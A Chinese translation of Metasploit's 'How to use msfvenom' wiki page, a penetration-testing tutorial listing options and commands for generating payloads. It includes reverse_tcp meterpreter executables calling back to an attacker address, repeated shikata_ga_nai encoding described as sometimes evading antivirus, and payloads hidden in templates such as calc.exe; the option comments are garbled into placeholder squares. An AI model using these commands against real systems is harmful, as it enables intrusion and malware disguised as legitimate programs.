【译】Metasploit：如何使用 msfvenom

王一航 / 2018-06-10 12:16:46 / 浏览数 8970 新手 入门资料 顶(0) 踩(0)

- 原文地址：https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
- 作者：Metasploit Community
- 译者：王一航 2018-06-10
- 校对：王一航 2018-06-10

Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令，它是这两个命令的结合体。

为了开始使用 msfvenom，可以首先浏览一下它所支持的命令参数：

```
Options:
   -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # ■■■■■■ Payload■■■■■■■■ -
       --payload-options            List the payload's standard options # ■■■■■ Payload ■■■■■■■■■
   -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # ■■■■■■■■■■■■■■■■■■■■■■
   -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # ■■ nop ■ payload ■■■■■■■■■■■■■■■■
   -f, --format        <format>     Output format (use --help-formats for a list) # ■■ Payload ■■■■■■
       --help-formats               List available formats # ■■■■■■■■■■■■
   -e, --encoder       <encoder>    The encoder to use # ■■■■■■ Encoder
   -a, --arch          <arch>       The architecture to use # ■■■■■■■■■
       --platform      <platform>   The platform of the payload # ■■■■■■■■■
       --help-platforms             List available platforms # ■■■■■■■■
   -s, --space         <length>     The maximum size of the resulting payload # ■■■■■■■■ Payload ■■■■■■
       --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # ■■■■■ Payload ■■■■■■
   -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' # ■■■■■■ Payload ■■■■■■■■■
   -i, --iterations    <count>      The number of times to encode the payload # ■■ Payload ■■■■■■
   -c, --add-code      <path>       Specify an additional win32 shellcode file to include # ■■■■■■■■■■win32 shellcode■■
   -x, --template      <path>       Specify a custom executable file to use as a template # ■■■■■■■■■■■■■■■■■■
   -k, --keep                       Preserve the template behavior and inject the payload as a new thread # ■■■■■■■■■■■■■■■pa
   -o, --out           <path>       Save the payload # ■■ Payload ■■■■
   -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # ■■■■■■■■
■■■■■■■■■ -f ■■■■■■■■■ -f python■■■■■■■ python ■■■■ payload ■■■■■■■■■ python ■■■■■■■■■ python ■■■■■■■■■■■■■■ python ■■■■
       --smallest                   Generate the smallest possible payload # ■■■■■■■■■ Payload
   -h, --help                       Show this message # ■■
```

如何生成 Payload

为了生成 Payload，你需要配置两个必要的参数（-p 与 -f）：

- -p 参数指定特定的 Payload

可以通过如下命令列出所有可以使用的 Payload

```
./msfvenom -l payloads
```

-p 参数也支持使用 - 作为值来从标准输入中读取自定义的 Payload

```
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
```

- -f 参数指定 Payload 的输出格式

例如：

```
./msfvenom -p windows/meterpreter/bind_tcp -f exe
```

可以通过如下命令来查看所有支持的格式

```
./msfvenom --help-formats
```

下面是一个典型的 msfvenom 的使用案例：

```
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe
```

如何对 Payload 进行编码

默认情况下，当你使用 -b 选项（badchar 选项）时，编码功能将自动启动。 在其他情况下，您必须使用-e选项来开启 Payload 编码功能，如下所示：

```
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
```

如下所示，使用 -l 参数可以列出所有可用的编码器（译者注：encoder）

```
./msfvenom -l encoders
```

你也可以通过添加 -i 参数来将一个 Payload 编码多次，有时候多次编码可以绕过防病毒软件的检测（译者注：俗称免杀）。
但是要知道的是：编码并不能真正作为免杀的解决方案

```
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
```

避免使用某些字符（译者注：例如某些情况下 Payload 中是不可以出现 \x00 字符的）

-b 参数被设置的时候，它的值中描述的字符将会被避免出现在 Payload 中
当这个参数被添加的时候，msfvenom 将会自动寻找合适的编码器来编码 Payload

```
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
```

如何提供一个自定义的模板

默认情况下，msfvenom 使用保存在目录 msf/data/templates 下的模板文件。如果你想要选择自己的模板，你可以使用 -x 参数来指定

```
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
```

请注意：如果你想使用一个自定义的基于 64 位操作系统的模板，那么请将 -f 参数中的 exe 修改为 exe-only

```
./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
```

-x 参数经常与 -k 参数成对出现，这样你就可以将模板中的 Payload 作为新线程运行。
但是，目前这仅适用于较老的Windows机器，如 x86 Windows XP。

如何将 msfvenom 的输出串联起来（利用操作系统管道的重定向特性）

以前旧的 `msfpayload` 与 `msfencode` 经常串联使用，并按照多种编码顺序排列。`msfvenom` 也可以被这样使用：

```
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
```

参考文章（译者注）

- http://www.cnblogs.com/Hi-blog/p/6780353.html
- https://www.jianshu.com/p/c0ae42a1a885